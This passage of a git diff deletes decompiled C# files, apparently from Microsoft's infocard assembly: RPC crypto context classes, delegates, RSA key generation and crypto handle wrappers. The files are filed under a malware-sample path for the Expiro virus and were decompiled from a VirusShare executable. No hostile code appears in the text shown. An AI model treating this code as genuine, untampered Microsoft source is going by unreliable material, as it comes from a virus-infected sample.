RpcCryptoContext(string portName, string contextKey) - { - this.m_portName = portName; - this.m_contextKey = contextKey; - this.m_syncRoot = new object(); - this.m_disposed = false; - } - - ~RpcCryptoContext() - { - if (this.m_disposed) - return; - ((IDisposable) this).Dispose(); - } - - public string ContextKey => this.m_contextKey; - - public IntPtr InterfaceHandle => this.m_idlHandle; - - public bool IsOpen => this.m_open; - - public void Open() - { - this.ThrowIfDisposed(); - if (this.m_open) - return; - try - { - this.m_idlHandle = NativeMcppMethods.RpcCryptoOpen(this.m_portName); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_open = true; - } - - public void Close() - { - if (!this.m_open) - return; - try - { - NativeMcppMethods.RpcCryptoClose(this.m_idlHandle, this.m_contextKey); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_idlHandle = IntPtr.Zero; - this.m_open = false; - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_syncRoot) - { - if (this.m_disposed) - return; - this.m_disposed = true; - try - { - this.Close(); - } - catch (CommunicationException ex) - { - string message = ex.Message; - } - this.m_portName = (string) null; - this.m_contextKey = (string) null; - this.m_idlHandle = IntPtr.Zero; - GC.SuppressFinalize((object) this); - } - } - - private void ThrowIfDisposed() - { - if (this.m_disposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (RpcCryptoContext))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoRequest.cs deleted file mode 100644 index fdf32a84..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcCryptoRequest.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class RpcCryptoRequest - { - private RpcCryptoContext m_context; - - protected RpcCryptoRequest(RpcCryptoContext context) => this.m_context = context; - - public abstract string Name { get; } - - public void Process() - { - MemoryStream memoryStream = new MemoryStream(); - this.MarshalOutArgs((Stream) memoryStream); - byte[] buffer1 = memoryStream.GetBuffer(); - byte[] buffer2; - try - { - buffer2 = NativeMcppMethods.RpcCryptoDispatchRequest(this.m_context.InterfaceHandle, this.m_context.ContextKey, this.Name, buffer1, 0, Convert.ToInt32(memoryStream.Length)); - } - catch (Win32Exception ex) - { - if (ex.NativeErrorCode == -2146434962) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException((string) null, (Exception) ex)); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.MarshalReturnArgs((Stream) new MemoryStream(buffer2)); - } - - protected abstract void MarshalOutArgs(Stream stream); - - protected abstract void MarshalReturnArgs(Stream stream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcFreeMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcFreeMemCallback.cs deleted file mode 100644 index 48c736d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcFreeMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcFreeMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcFreeMemCallback([In] IntPtr ptr); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs deleted file mode 100644 index 9eb91a75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcProcessNewRequestCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcProcessNewRequestCallback( - [In] int parentRequestHandle, - [In] IntPtr rpcHandle, - [In] IntPtr inArgs, - out IntPtr outArgs); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRequest.cs deleted file mode 100644 index 3088e9ad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRequest.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcRequest - { - [MarshalAs(UnmanagedType.LPWStr)] - public string Type; - public int Length; - public IntPtr Data; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcResponse.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcResponse.cs deleted file mode 100644 index bc04e6d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcResponse.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcResponse -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct RpcResponse - { - public int Length; - public IntPtr Data; - - public IntPtr Marshal() => RpcResponse.Create(this.Data, this.Length); - - public static IntPtr Create(IntPtr data, int length) - { - RpcResponse structure = new RpcResponse(); - IntPtr num = System.Runtime.InteropServices.Marshal.AllocHGlobal(System.Runtime.InteropServices.Marshal.SizeOf(typeof (RpcResponse))); - try - { - structure.Length = length; - structure.Data = data; - System.Runtime.InteropServices.Marshal.StructureToPtr((object) structure, num, false); - return num; - } - catch - { - System.Runtime.InteropServices.Marshal.FreeHGlobal(num); - throw; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRundownClientContextHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRundownClientContextHandle.cs deleted file mode 100644 index 1509f6ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcRundownClientContextHandle.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRundownClientContextHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcRundownClientContextHandle([In] IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs deleted file mode 100644 index 431c425e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentBindToServiceCallback( - [In] IntPtr uiagentRpcHandle, - [In] IntPtr nativeDesktopName, - [In] int cbUserSid, - [In] IntPtr pUserSid, - [In] int cbTrustedSid, - [In] IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs deleted file mode 100644 index b09c173b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentGetWorkCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentGetWorkCallback( - out InfoCardUIAgent.CallMode mode, - out int requestHandle); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RsaKeyGen.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RsaKeyGen.cs deleted file mode 100644 index 2b501b2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RsaKeyGen.cs +++ /dev/null @@ -1,218 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RsaKeyGen -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RsaKeyGen - { - private const int Xpq12Length = 14; - private const int XpqLength = 128; - private const int NumberOfSha1Hashes = 16; - private const int InfoCardKeyLength = 2048; - private const int HnLength = 20; - private const int PublicExponentValue = 65537; - private const string Aes128EncryptionKey = "f561e58b-3ebc-4e0c-940d-0a6ddc219dfd"; - private const int ByteForHundredthBit = 12; - private static int[] hashesToWriteP = new int[8] - { - 2, - 12, - 11, - 10, - 0, - 6, - 5, - 4 - }; - private static int[] numBytesToWriteP = new int[8] - { - 4, - 20, - 20, - 20, - 4, - 20, - 20, - 20 - }; - private static int[] srcIndexBytesToWriteP = new int[8] - { - 16, - 0, - 0, - 0, - 16, - 0, - 0, - 0 - }; - private static int[] hashesToWriteQ = new int[8] - { - 3, - 15, - 14, - 13, - 1, - 9, - 8, - 7 - }; - private static int[] numBytesToWriteQ = RsaKeyGen.numBytesToWriteP; - private static int[] srcIndexBytesToWriteQ = RsaKeyGen.srcIndexBytesToWriteP; - private static RijndaelManaged s_rjAes128 = new RijndaelManaged(); - - static RsaKeyGen() - { - RsaKeyGen.s_rjAes128.Mode = CipherMode.ECB; - RsaKeyGen.s_rjAes128.Padding = PaddingMode.Zeros; - RsaKeyGen.s_rjAes128.Key = new Guid("f561e58b-3ebc-4e0c-940d-0a6ddc219dfd").ToByteArray(); - } - - public static byte[] CreateRsaKeyPairX931(byte[] masterKey, byte[] targetId) - { - InfoCardTrace.Assert(true, "Only 2048 bit key sizes supported"); - byte[][] hn = RsaKeyGen.CalculateHn(masterKey, targetId); - byte[] rsaKeyPairX931 = (byte[]) null; - byte[] numArray1 = new byte[14]; - byte[] numArray2 = new byte[14]; - byte[] numArray3 = new byte[14]; - byte[] numArray4 = new byte[14]; - byte[] numArray5 = new byte[128]; - byte[] numArray6 = new byte[128]; - Array.Copy((Array) hn[0], 0, (Array) numArray1, 0, numArray1.Length); - Array.Copy((Array) hn[1], 0, (Array) numArray2, 0, numArray2.Length); - Array.Copy((Array) hn[2], 0, (Array) numArray3, 0, numArray3.Length); - Array.Copy((Array) hn[3], 0, (Array) numArray4, 0, numArray4.Length); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteP, RsaKeyGen.numBytesToWriteP, RsaKeyGen.srcIndexBytesToWriteP, hn, numArray5); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteQ, RsaKeyGen.numBytesToWriteQ, RsaKeyGen.srcIndexBytesToWriteQ, hn, numArray6); - try - { - KeyGenRestartCodes restartCode = KeyGenRestartCodes.X931RestartNone; - do - { - numArray5[(int) sbyte.MaxValue] |= (byte) 192; - numArray6[(int) sbyte.MaxValue] |= (byte) 192; - numArray1[12] |= (byte) 16; - numArray2[12] |= (byte) 16; - numArray3[12] |= (byte) 16; - numArray4[12] |= (byte) 16; - rsaKeyPairX931 = NativeMcppMethods.X931KeyGenWrapper(numArray1, numArray2, numArray3, numArray4, numArray5, numArray6, 65537, ref restartCode); - switch (restartCode) - { - case KeyGenRestartCodes.X931RestartNone: - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should not be null since API succeeded"); - break; - case KeyGenRestartCodes.X931RestartDTooSmall: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - InfoCardTrace.Assert(false, "Not expected for d < 2^1024 with e = 65537"); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartNonTrivialGcd: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartPQOverflow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray5); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartPQ12OverFlow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartXpXqClose: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - } - } - while (restartCode != KeyGenRestartCodes.X931RestartNone); - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should NOT be null outside while loop"); - } - finally - { - Array.Clear((Array) numArray1, 0, numArray1.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - Array.Clear((Array) numArray5, 0, numArray5.Length); - Array.Clear((Array) numArray6, 0, numArray6.Length); - } - return rsaKeyPairX931; - } - - private static void WriteToArray( - int[] hashesToWrite, - int[] numBytesToWrite, - int[] srcIndexBytesToWrite, - byte[][] sourceArrayOfHashes, - byte[] destArray) - { - InfoCardTrace.Assert(hashesToWrite.Length == numBytesToWrite.Length, "Size must be equal"); - InfoCardTrace.Assert(numBytesToWrite.Length == srcIndexBytesToWrite.Length, "Size must be equal"); - int destinationIndex = 0; - for (int index1 = 0; index1 < hashesToWrite.Length; ++index1) - { - int index2 = hashesToWrite[index1]; - Array.Copy((Array) sourceArrayOfHashes[index2], srcIndexBytesToWrite[index1], (Array) destArray, destinationIndex, numBytesToWrite[index1]); - destinationIndex += numBytesToWrite[index1]; - } - } - - private static byte[][] CalculateHn(byte[] masterKey, byte[] subjectEntropy) - { - byte[][] hn = new byte[16][]; - byte[] numArray = new byte[masterKey.Length + subjectEntropy.Length + 4]; - Array.Copy((Array) masterKey, 0, (Array) numArray, 0, masterKey.Length); - Array.Copy((Array) subjectEntropy, 0, (Array) numArray, masterKey.Length, subjectEntropy.Length); - for (uint index = 0; (long) index < (long) hn.Length; ++index) - { - InfoCardTrace.Assert(index <= (uint) byte.MaxValue, "n must fit in a byte."); - InfoCardTrace.Assert(numArray.Length - 1 == masterKey.Length + subjectEntropy.Length + 3, "Index location of n must be last element of array."); - numArray[numArray.Length - 1] = (byte) index; - hn[(IntPtr) index] = SHA1.Create().ComputeHash(numArray); - Array.Reverse((Array) hn[(IntPtr) index]); - } - Array.Clear((Array) numArray, 0, numArray.Length); - return hn; - } - - private static void InfoCardRegenerateParam(byte[] prevBytes) - { - byte[] sourceArray = RsaKeyGen.AESEncryptECB(prevBytes); - Array.Copy((Array) sourceArray, 0, (Array) prevBytes, 0, prevBytes.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - - private static byte[] AESEncryptECB(byte[] plaintextbyte) - { - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, RsaKeyGen.s_rjAes128.CreateEncryptor(), CryptoStreamMode.Write); - cryptoStream.Write(plaintextbyte, 0, plaintextbyte.Length); - cryptoStream.Close(); - byte[] array = memoryStream.ToArray(); - memoryStream.Close(); - return array; - } - - private RsaKeyGen() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKey.cs deleted file mode 100644 index 69eea264..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKey.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKey : IDisposable - { - private SafeCryptoKeyHandle m_handle; - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptSetKeyParam( - [In] SafeCryptoKeyHandle hKey, - [In] uint dwParam, - [In] IntPtr data, - [In] uint flags); - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptImportKey( - [In] SafeRsaProviderHandle hProv, - [In] IntPtr pbKeyData, - [In] uint dwDataLen, - [In] IntPtr hPubKey, - [In] uint dwFlags, - out SafeCryptoKeyHandle hKey); - - public SafeCryptoKeyHandle Handle => this.m_handle; - - public unsafe SafeCryptoKey(SafeRsaProviderHandle provider, byte[] encryptedKey, byte[] iv) - { - SafeCryptoKey.BlobHeader blobHeader = new SafeCryptoKey.BlobHeader(encryptedKey.Length); - int dwDataLen = sizeof (SafeCryptoKey.BlobHeader) + encryptedKey.Length; - // ISSUE: untyped stack allocation - byte* pbKeyData = (byte*) __untypedstackalloc(1 * dwDataLen); - byte* numPtr = (byte*) &blobHeader; - for (int index = 0; index < 12; ++index) - pbKeyData[index] = numPtr[index]; - try - { - ProtectedMemory.Unprotect(encryptedKey, MemoryProtectionScope.SameProcess); - for (int index = 0; index < encryptedKey.Length; ++index) - pbKeyData[12 + index] = encryptedKey[index]; - } - finally - { - ProtectedMemory.Protect(encryptedKey, MemoryProtectionScope.SameProcess); - } - if (!SafeCryptoKey.CryptImportKey(provider, (IntPtr) (void*) pbKeyData, (uint) dwDataLen, IntPtr.Zero, 0U, out this.m_handle)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) this.m_handle); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - fixed (byte* data = &iv[0]) - { - if (!SafeCryptoKey.CryptSetKeyParam(this.m_handle, 1U, (IntPtr) (void*) data, 0U)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - this.m_handle.Dispose(); - throw InfoCardTrace.ThrowHelperError(e); - } - // ISSUE: __unpin statement - __unpin(data); - } - } - - void IDisposable.Dispose() => this.m_handle.Dispose(); - - [StructLayout(LayoutKind.Explicit, Size = 12)] - private struct BlobHeader - { - private const int PLAINTEXTKEYBLOB = 8; - private const int CUR_BLOB_VERSION = 2; - private const int CALG_AES = 26128; - [FieldOffset(0)] - public byte bType; - [FieldOffset(1)] - public byte bVersion; - [FieldOffset(2)] - public ushort reserved; - [FieldOffset(4)] - public uint aiKeyAlg; - [FieldOffset(8)] - public uint keyLength; - - public BlobHeader(int keySize) - { - this.bType = (byte) 8; - this.bVersion = (byte) 2; - this.reserved = (ushort) 0; - this.aiKeyAlg = 26128U; - this.keyLength = (uint) keySize; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKeyHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKeyHandle.cs deleted file mode 100644 index afa82ce7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeCryptoKeyHandle.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKeyHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKeyHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptDestroyKey([In] IntPtr hKey); - - private SafeCryptoKeyHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeCryptoKeyHandle.CryptDestroyKey(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeJobHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeJobHandle.cs deleted file mode 100644 index 49c20334..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SafeJobHandle.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeJobHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: 